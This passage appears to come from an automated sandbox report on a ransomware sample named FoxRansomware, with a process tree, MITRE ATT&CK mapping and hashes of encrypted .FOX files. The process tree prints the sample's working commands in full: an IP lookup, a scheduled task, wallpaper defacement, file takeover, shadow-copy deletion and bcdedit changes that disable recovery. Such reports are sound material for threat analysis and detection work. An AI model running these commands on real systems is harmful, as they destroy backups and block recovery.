  "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWFxTI7p.exe"
  2⤵
  PID:3700
- C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWFxTI7p.exe
  "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWFxTI7p.exe" -n
  2⤵
  - Executes dropped EXE
  PID:1876
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\Ru5I25u4.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3928
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2560
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\z2Me3JXw.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5636
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\z2Me3JXw.bmp" /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:5856
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
    3⤵
    PID:5916
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
    3⤵
    PID:5980
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\4kvQvUZN.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5652
- - C:\Windows\SysWOW64\wscript.exe
    wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\4kvQvUZN.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\AGD52VLi.bat" /sc minute /mo 5 /RL HIGHEST /F
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6100
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\AGD52VLi.bat" /sc minute /mo 5 /RL HIGHEST /F
        5⤵
        Creates scheduled task(s)
        
        PID:4428
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5524
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Run /I /tn DSHCA
        5⤵
        
        PID:5996
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\PanMdssr.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6048
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -A -S "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
    3⤵
    - Views/modifies file attributes
    PID:1612
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C
    3⤵
    PID:5900
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:5564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c EY6ycQhK.exe -accepteula "store.db" -nobanner
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1764
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\EY6ycQhK.exe
      EY6ycQhK.exe -accepteula "store.db" -nobanner
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:5568
    - - C:\Users\Admin\AppData\Local\Temp\EY6ycQhK64.exe
        
        EY6ycQhK.exe -accepteula "store.db" -nobanner
        5⤵
        Drops file in Drivers directory
        Sets service image path in registry
        Executes dropped EXE
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:5452

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3792 --field-trial-handle=2356,i,13261194862334667799,7441241219475888176,262144 --variations-seed-version /prefetch:8
1⤵
PID:5960

C:\Windows\SYSTEM32\cmd.exe
C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\AGD52VLi.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3324
- C:\Windows\system32\vssadmin.exe
  vssadmin Delete Shadows /All /Quiet
  2⤵
  - Interacts with shadow copies
  PID:5628
- C:\Windows\System32\Wbem\WMIC.exe
  wmic SHADOWCOPY DELETE
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- - C:\Windows\system32\vssadmin.exe
    "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5152
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5304
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3484
- C:\Windows\system32\schtasks.exe
  SCHTASKS /Delete /TN DSHCA /F
  2⤵
  PID:272

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Installer\[[email protected] ].efob40C2-9FhNWps9.FOX

Filesize
4KB

MD5
a10228681de4a5a6030bb5bd76cdf0b0

SHA1
89615c8ec72d0bd9248fd01e2b6efd0fc53b3069

SHA256
593a24bd6d472fd3563fd7aede8147d48a96fd42296a69c455711b4917e54288

SHA512
bde13147245cd31a2dc5f552db87022584937f5d525b0b093d875a16c23c3f36028543b0b6e0a857e760bbaca7f299e1a7a6f39f89a82830a067f7dd0181ddf6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\[[email protected] ].4hP9pNz1-xviYiy4S.FOX

Filesize
1.1MB

MD5
31c6c105ea3a42ff8f2111233a2c7572

SHA1
94b6ea58827313e68c54a202293d8f33f86dfb7f

SHA256
18d4cd0f7d39860aede7c1bd3e5559a2b0687955c48e3a17a6de0e320ca68ff4

SHA512
f5123e6057f1a17d2a883f48d0490f657e4ee829c0ee966e105dfc8a8a7c70ede3c17dc7e6106936eae545fc0fde32c4dd1289bd2d98c8492550b0396b57e2f6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\[[email protected] ].C8lBoK9v-ICIHVw6H.FOX

Filesize
2.5MB

MD5
b491a930950448cbc9fa35540978f84f

SHA1
b863b8c5873622e9dcc65ca95197267303305935

SHA256
496d3442210b24291f31b699951c30399f81f31bef3781ca2ddf764504422db4

SHA512
503e13db208ad4dbe60d8bbf28c76a2724e9d31621a1aa291f98a25e2fd858a16efc1f41c2a2395c86dc513f74b7ee81656c993acd3088301d50c90376f30b49

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\[[email protected] ].o6W4T2oq-RTFItQIp.FOX

Filesize
1.5MB

MD5
dc2c6ba111493cadd9d9ea1e73c08d1f

SHA1
1443f6dc59e90502918a21fb5465f2ed14f2b22d

SHA256
0be155f346dbaca76f3290c457205eec9c83584a4b0b67bd355ad8c4f6164827

SHA512
26f47e1b7187741f6dc4d78774a852f1c9efc0dadae870bc470aa7399fdc7bc2189bfcc2c319f0a1479d577dbede2631eab677d3190423362be20c3787638be8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\az.pak

Filesize
1.1MB

MD5
76e8ae4a3f5774c5619d2633191b77ce

SHA1
7c2c9c580a2451c8c9362b8547e37bebcdd87e37

SHA256
f8a53bbe518427f9fa88d571a7cca96dd1b28adc410cd944d83eeea9636ecda7

SHA512
c750ac95660bedc221355891b47dd3383ff98773e03759e149b3a7249c9064a0d1065f941b63acffed0aa41015130458097607a922cfd7529e3738d53d4e3841

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\bn-IN.pak

Filesize
2.2MB

MD5
33502bc9f40bf5ca61dbc7293d1f9212

SHA1
7026b3b2b975cae9f73af6e35d5b5aff6d65404a

SHA256
dc650110958b82f868d4153b0c846854b932b55a7d38c50a0b81f368df98cab0

SHA512
1c58d60f07bf7df9d53c1573c15d01d1d55c5b33cab6f0f95906cd217e24c2f212a7217db1968ccdc8ce25ea9a227e780a0a0ed02a10c1e03b884500439edaa6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\el.pak

Filesize
1.9MB

MD5
ecee4c3a96cf77ad12ba1e152934d478

SHA1
80a27a092fabc6c3e42fddbe0ef1e52a47706a4e

SHA256
5dc0083b66f490fa050607190c46373694cc056c6a168544953c5eb725304bdc

SHA512
7bd5f9e11ed3c902cf540431e5db099f430cd9bea3d1fe5b90aa01a6e61be307a8c8248fce8bf26f53d69baa80a96a2d292f52d89a343f6efdb2db3b63601fcd

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\fr-CA.pak

Filesize
1.2MB

MD5
cf7a67e4925e43786602d116e5685ca1

SHA1
70802b84a3115c53dae51960f989ba0cbe33e773

SHA256
3061544dc91ddfd98f960e36d62c43922f10487ac46029fddc96c55eabd76308

SHA512
acb9c7336acb115023d94d5e3f45b01020a356f63afdfbdd9f041528b3d69dbf60e494e0d1552fba93eb9a4e5060bf5a6dfdeb9362471a427921858ffa6a6499

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\ga.pak

Filesize
1.1MB

MD5
49a8f56200e0c4b0f7f767c9951db134

SHA1
f8e0a5defa554ef2f3c52c084eed58927401a475

SHA256
144223bd05af310a3f18b75ee7f2d0d4cf35d67b3d447d5a5e2fac4bbd12fe2d

SHA512
3037972bf165a0510c2065ef44beae5674f85e1c78ea060af2e7b712d69aec9b761372ff7a4861c591fd29e51993134ee8f8a32d44f0efa10cb4d568e8cb7380

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\id.pak

Filesize
977KB

MD5
38cc611bc9faa8d60befcacb3ae43679

SHA1
5f1ea465606eab0b94c115437a4d36aa8fb287c2

SHA256
e67ba2fb538c6050e0506456af3b35bd278fbac8a99c9485a624457d05ddcc9f

SHA512
68b981761c9a1250b45c35edd21cf5a784b83553ef667786f66846bb713289f184318fc208bf41a3a60c144e6013de83fd150e15fcdae6b347cc99e5cf9a6814

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\it.pak

Filesize
1.1MB

MD5
44eb7a6c30812874bab759ccb935b985

SHA1
01a1e2b1c19df70036a9fb1b5e51f10431c97244

SHA256
84546a5b9a48ad6b1145d61df27bd2e0c8e3ffaf0cb952008e95d1178143c8db

SHA512
0f99e54f50c7b284a3249e3e1eb76140bfceca144b1e34b0a142efe194c29465697197c184c01ecbfe9cab5985c9eeee10ea4db3508d655ee8fb24d887edfb46

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\lb.pak

Filesize
1.0MB

MD5
a1773a433144af85d61d7d277f91e4af

SHA1
bf3328eb5f51c86fa2d2fb411209d04f341dce67

SHA256
f4a17c7aa640e3e94bf617860810fcf88b13228e7e0a8d634b25a5c9d1f2f8e0

SHA512
f7d44e5434adb71c4a60e60fe7e9f290d12ccf585c34e6ad1a0cec2b02298eaaa5a773e6a8c0584a80f08bd60790ab04a235ede476bdda3e6ac0156cd496a24d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\lt.pak

Filesize
1.1MB

MD5
27161ce2a20beefff4bd8520beed3753

SHA1
f4beb6d3e39a5cf71fe57041a7d334795e821dcf

SHA256
29e1f2d656dac4655ff74e09fce9a92d7b3ce513211120664eeaa8a6d3b6a026

SHA512
7072ca5fe26306843b84a6662ede5271105fb70ca9bafd0030050b5d5ca2a432b7cb0d2266a2aa0d1db55d9f1831a52ec944b652b75debf19640755ab2b9e690

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\nb.pak

Filesize
968KB

MD5
3844199fa8e6556e9cd1b02353f10dac

SHA1
6aab6ecba2f2844a5af5926299205214585f6ac3

SHA256
a5c53305dd96f66b82e6385cac09ce4e5d4a8e156a5604565eeddb5fd5ed81d5

SHA512
72d4fdd1940ce6fb2de42586317a9f7f97c50ecceec4a7c305983cd9d1c1ab1da97c41e43a7a53c02dbfe5ffb1babb15ed5abdb7d1fdfcbbdf19d769ea26ef9b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\ro.pak

Filesize
1.1MB

MD5
8c06b89744f8115f954c2883aa59f7a6

SHA1
0661e9541951806d8dbccea15775fd5cd9e1858b

SHA256
b378dbfcfd2ef5842c0bfd0bd8581ad7756b3812afb2503b59f943bc5fa833ef

SHA512
1c8b8a4d8328ec1bf1aa68bddebd3c300440b3715a1424b6934f88841c2772420fe666deb7289a8c6593a0cebf50e6dc60d052d09580753dd057c380524863e6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\tr.pak

Filesize
1.0MB

MD5
a44fca57a1440a46b3369b7015346dac

SHA1
a25ac1cf605a532e1818cf3bda47427e13d1eae1

SHA256
4529a9015843b99fb1e5e9ed49c25f3da8b3dda76f294c68f8312f958dea9dc6

SHA512
4ef98a595667cd2a2dff66cc46f5c4416922d68f46f367717d34625beabc229195eeac471b96d379c61dfae9c072bfe716c49e889101bade90c764bea8a726a7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\MEIPreload\manifest.json

Filesize
1KB

MD5
c31c813278f774542bacbfefd4e63c86

SHA1
f891fbce5b778ba853c9527faa471249ad1b45e0

SHA256
de225a6d9d8bc0736e2797af89979f2a4948fbfd94753acdb1f636f6a6dafea4

SHA512
6be5ed71152c872f5d58bf804fea9b2d162439d624722294b9a0e1048baef426a915e798536c34ac1009add3dbd8e011d52ad6228d6c09a9d5f183baa1fe2b7d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Notifications\[[email protected] ].Ya9OtVoX-7qANiYZd.FOX

Filesize
126KB

MD5
9ebe11e241e04d6f6c7f84ea86be7208

SHA1
e58d7c24740df570451b8e604f9cf2798f333ffe

SHA256
59c077cd56a8d414d64807bf36f32a34dce815857c61941c1ad53062dcffb51b

SHA512
27bdfbb02d1048f0b7e6b3cdeef57e125cd6342e2a7bd9478555563dbce0041a4fb97b5c84d234d7359f63e130518caa3275e00c1730bd0a1fc447d210be814e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Mu\Analytics

Filesize
5KB

MD5
cfe98996054ac77ff2e37cfac6db9526

SHA1
083e906f7b187e5398a125425dc5b5a7534ad159

SHA256
83c4ba722cb1a542fdde9a8b3fc3aa88f19d8c7e0a9c259c7c7b0a5cfad8197f

SHA512
b86d16cf74e72c362d4b96040c10b81695f4821e62237e81169b02e4709feedbaf027b24ab04d8b2e88727c2bfe30fef8258538d7f7f69720b47e7cb3567602d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Mu\LICENSE

Filesize
35KB

MD5
d554b03220f7aed9ad4ddda3e743a2c0

SHA1
f0a193fe837b9d778db3aadc991ee6a06c92245f

SHA256
6b09352afb8084819a938c8b516d79b5fee5b5fd316895601dad214ebb2530ed

SHA512
361d7c01586e372eb37598b2fbb19010ec8e661ced34acee91e1212e14c83e32c68af9f5b7d02b5b52fd20182ab78a0883e3cf0398ea76f53c24dc2e56143a73

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Mu\Social

Filesize
1KB

MD5
ba10eef85b21c54e3dd18f30bc1ce84f

SHA1
1b0644561e49f2e2568b08274740bcb2d176e60c

SHA256
7d48d5ad09b28ab9a9fbc9093095f7f261b1c94d9853ed0bde4a2e866e071641

SHA512
a24efe9ed4d07788c732d7725053e8c7f10c1647c9b7eefefec7aea6e02de3192e259bc608f4f5ac3b3bfe953e229a81fc23954a47e9f195fd6ea725fedca956

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Sigma\Advertising

Filesize
2KB

MD5
f837be2334651bb4041bef07fde36f97

SHA1
0dc46235e6ed5ee50b11416ed126dbb49411355e

SHA256
a3fd619e6136e86448cf1b8cd0cf0f33079992af5f2d8a8bf1227755940ef48f

SHA512
b57c49d36fc7f193a7cfefacd096761340641f48ae7b1eab7dd9db0e9901713d2dfb64ac235a55556ca1f0ff481e90bc5b5f9477f37f87636ab589348b5f6023

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Sigma\LICENSE

Filesize
1KB

MD5
9a4835c1cf0d4be09f25077e6036326e

SHA1
410979b5aa309774b8c0ffb674f33ff3ecb6dce9

SHA256
ea988eb0418c0ae677eed58b8d07075d41fac562e9f23a5c75f06a441bd81d47

SHA512
ce4ae764e42dfa863deb2fead12ea69e6c034c469205fbcab0950a0913e9d59ef4fe81fc926dc021d087877bcc34a43be71e5ffc00785f31f7e62e50160db22c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Sigma\Social

Filesize
4KB

MD5
59a58aec284edfc189a2d8bc483941e0

SHA1
20abe20a5864e527e38ba76c2b5b12531085ac82

SHA256
8dc4fb27cfeff9ad4c0adcc1e76fa6a9997d7d67b415933ef4325f21f5a4a8ba

SHA512
f8b218790e4180f9bf330a19a41432f667b2bcaf2438bfe83f67f156e93323e442678056973cdbccb94336f99ffd193af499e8f3f5eaa391c8b6faa5abbcee20

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Sigma\[[email protected] ].OjEnIoEe-RKF6QU2c.FOX

Filesize
1KB

MD5
8a9c2c3060890b10aa990a7387abad31

SHA1
66f15921a1b4bb56b81fbf3d4b70b4a88bd0a8e5

SHA256
288a3d3e677de24829537ccbf4ce8017e48b64744c021550b472f03e5379b919

SHA512
875b29e79df6a7fa5287106443408e019917d5a006cb4c558e099bbc08562460cafa03a9bdce6533f44c1501519a74554d797ff056f53742e5cc2899b55ab341

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\manifest.json

Filesize
1KB

MD5
cc932cd6ba6563eee231bd2cab5e62db

SHA1
9170262679b0fe3585dde0e30548dd3daf21937b

SHA256
a4870ccc43b18354a0fe02ad690f5a152088f2cfefd7a4bc73deca5e70d75d23

SHA512
5f8d3ee852952871fba1748821683d0e50723d1f32a9ac20cf8cd8c2fb276122a7480525415a72c09d47e83dbad51bd842091439414650edd4703034d5524b5b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\VisualElements\SmallLogoBeta.png

Filesize
16KB

MD5
816836e8bbacb04e909c0b8f02c1f436

SHA1
c4808d23a48beedb32d7524be6b6164727712a1d

SHA256
17ec57bb3050ad063bbd5a04bc11433cf85fa02f060a47bfcdb5cd7b0a569e1e

SHA512
a80d5b96a8a90723c68279817535b62058e9eb22a403b3a8419deb1f0b08337a954de26683676aadcb67c15f84923041faeb91e55e3268c72ed95729bca61507

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\VisualElements\SmallLogoDev.png

Filesize
15KB

MD5
ac7ef2e8f5fada348ad38a1e2c761af2

SHA1
39a5a374ad97890fea02a9ed03af51a43a6118ac

SHA256
fceefe481ad35c6a345eb4857f112c4b4670dcd8b324e6d2d1dbd0786d5c5fac

SHA512
42cb703bba73b0c47b656d2696018fa5ce8732baf35612628bb81b2e1bc2edb297599704f64de2058c1e26cf2de952d5f7af7e3b932b2b6d7d4bd8db95524f23

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\VisualElements\[[email protected] ].BYTpjmou-HyUlRHNk.FOX

Filesize
15KB

MD5
f99312b9e58f8acafcd732c433bfbab6

SHA1
d8bbcd9e168920d55f89afdd9743cef89897ab25

SHA256
0fe6856911fe81b489891f0cf777c164a3f40ce95c36d706369cea78d47883dc

SHA512
ee99a453211143fccad25d92b348555d19be5e5a09210ff9303e080cc6d81cb89a9d1f7cc2e926b3bcab73c6b0c9ecfa63e2c6fcb497cd24e838902b2b3acb91

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\WidevineCdm\manifest.json

Filesize
2KB

MD5
6f7954444417ef418cd2b5b9653200c1

SHA1
a1a0dcb70f81c53dfb003ccf250fa4dcfdf1aabc

SHA256
a9cf02161f8314e608b8a6cb0aa06923ea660fcc78583dcc91b36723a8580fb9

SHA512
f2599d0fe8adb9af9d694f2c451a1626a511ace574fc03d92c7a46485d259650845c40c0378ae0b28262877caff8ac3b1b0faf3f562d800e5464fd69af63eab2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\[[email protected] ].Xwpabpzx-r9WESuuQ.FOX

Filesize
1KB

MD5
130e8fc9d081322096886ba736e16059

SHA1
750cbcf665d0d1bfc034b2f8ab6764bc70169a12

SHA256
aff3f5c177435751dbb8d11affb3b8c46a53b4a71c60ab0bfceda988d7a36769

SHA512
06304793c26246138a0213c8497c3d64f40d16d3ddfe0d5303c8747463342653af9dea6334385d6b4d181892cec4d32c77fbd5e43165b3e1de757e34157bd845

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\delegatedWebFeatures.sccd

Filesize
19KB

MD5
45816eb0ce094aced33d9d0df0251405

SHA1
8a4f8ccc1caf5c8ca2110043483707a43ae090d6

SHA256
65784015cc7857bcda61a8fad702dd3cd1af1fe4740bab7f24ee286b7126e0c9

SHA512
bce70844fa9dec7873cae4f947e5d6dcd1ba50cc5222d9fc6cfa11d498da4f9577cf46b0f2023d8e9fb6739d60598edf1309b251795a881835439982a7561d96

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\identity_proxy\[[email protected] ].D9TZNRlk-ninCD9pH.FOX

Filesize
2KB

MD5
6bcb2c0d2d57ef3e3b17045e75fba53e

SHA1
4e63581d75a5ef19c58a7647103fbcdf055315e9

SHA256
f1e8af0ce959e195baa9a95d54666253ef5a395690aeb0f2de150ff86d229368

SHA512
0d33a34213e3f81078f04336687fe1dfc9ff262e3d029a1cf60bce1b023995178056af23db7e255a24e551f711344acf74a77655e6dd4db30f96b9ffddee5d32

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\identity_proxy\[[email protected] ].ztgTBwK6-gBdqGC58.FOX

Filesize
2KB

MD5
9d14a260701d3260b9a79cdfdd080ead

SHA1
9efdea3c2eedd36d173fd70f9b2ce8f5a3589d41

SHA256
3485d259856984307b5fafaf99f1e87fa78e9b8de0c621f0bb435a28b242bcc1

SHA512
1a57e7ff7b4cb80bcdd3b77772f3557a0db63856d30f400f4056c059de0d278b4d3e6413e7959b03f81b50f0c8b96be71d6016093d93cf71e4e6864128234796

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\identity_proxy\stable.identity_helper.exe.manifest

Filesize
2KB

MD5
912d82101640e699aa4afc0ea80989c8

SHA1
d14eb7eaa306c8f57c18bb2f0f9b169424f0c0ff

SHA256
0753a3c5084344a443faac4d8b5ad490e6387fbdbaff0ad58e9dfe237c488bde

SHA512
cb85c71752e018b57a7090a528c55df459969250acc781e23cdb13bb05e31ecd2a6c0a509b3b2701067c6330ba0d5013ee48bb1c5886b71f547d7efdf262da2d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\identity_proxy\win11\identity_helper.Sparse.Beta.msix

Filesize
54KB

MD5
59192fb5d2a8754c1f71dbe9fae15825

SHA1
cfb566b3946ebe43a4bc01125696e17afd409069

SHA256
6a92ef349faa3483a2d2f615e6c23248ac986b2f56c82318c7ba2a2042e76ae0

SHA512
040dc51bb382340c95888db89b911a7652fcfc6f41926cae9aceeb0e9d4f6d8ffa46d0b6a8e02a5c2fbaa43cce6c8a9860af0c64da26e0d8b45a55d03a2e0ce7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\identity_proxy\win11\identity_helper.Sparse.Dev.msix

Filesize
54KB

MD5
75f57be8f9f2e0a46cf7074f0c47a54e

SHA1
f0e27bb7a0823062c4100a84bcdef528ed07b5be

SHA256
6ca3cb463b15e105ca6493d1be3ca03018bdeea7261fde066ac2f6bd36612993

SHA512
fa8a154aa743c2cdd3da89a0d0222e2433567f5310e289b8cf2091de265bfe53d4f683a0f21383813095e4f48a5d9317cd7ab5d52f14d795ce890800095f6e03

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\msedge.dll.sig

Filesize
2KB

MD5
5643846baffe61eaec8a4bcc22c86b98

SHA1
be62f37f1a1bb87355d58be958518945be9df2ad

SHA256
5d735adbea868d35a4a8a92bd02360a02408ad97868a00479620866789f30fe0

SHA512
c9930df67c5c4e3ce3d42e2743f784a1385027c21acc214a3d6f1249351c44da56bb1b246b203d29723983c9b6e64e48544562cf7c475bdd5aba6169a3f15241

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\v8_context_snapshot.bin

Filesize
671KB

MD5
06277ddf3d12008645f4a4f56468b1b6

SHA1
cfc4c0c946a3501638a08e1746c8e2ea9b2ccf00

SHA256
34f0bf3f0c3a0f3efe75b02c4b77f0474637007e7c0946b599782acfae98a359

SHA512
cc703e68fe5029aeaae4fa584eca23f4095f3c608a998d798ce6727b643a55ec3aaf7815e676f0061cbf4150d1c263fbf23679c39769de0e371604949c655ae9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Extensions\external_extensions.json

Filesize
1KB

MD5
72b4421cc27dcd06eaa0d56fda39567e

SHA1
2f7ac229f34160218f67066f4d9d57ce68e7cd03

SHA256
457b47a11dc4a6060394994531f3134d6e20fa1b2efe93b9fa3cb87d55601b41

SHA512
0d9fe879db0d89c3026141cd35673d65c1ea965fa73d87a67cb72767c3b14921ea970e2f0819ca93e60f2b4c4e7eb88b26afd52a3f13e57e008af8c7bf2b2dd4

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\[[email protected] ].AIM8LaUD-y85LPTcA.FOX

Filesize
1006KB

MD5
f2ba3766d4ac25bedb696358715af65f

SHA1
f1bc286aebeb93713d17a0a234b7a2146586e835

SHA256
0d97e9aeae18acf68326dfc3d92ff63899f577d49e8e4c712272538d4d12257f

SHA512
01bcbe2660abf835803f6dafd76c02af0492339c468fb0e7673441799c555477fccd5faf7b8ddfc45ce4086be325964d3f6c2232b330bc3d44c11ff4f2ae4725

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\[[email protected] ].W6jkbaja-iGNf13OG.FOX

Filesize
1.0MB

MD5
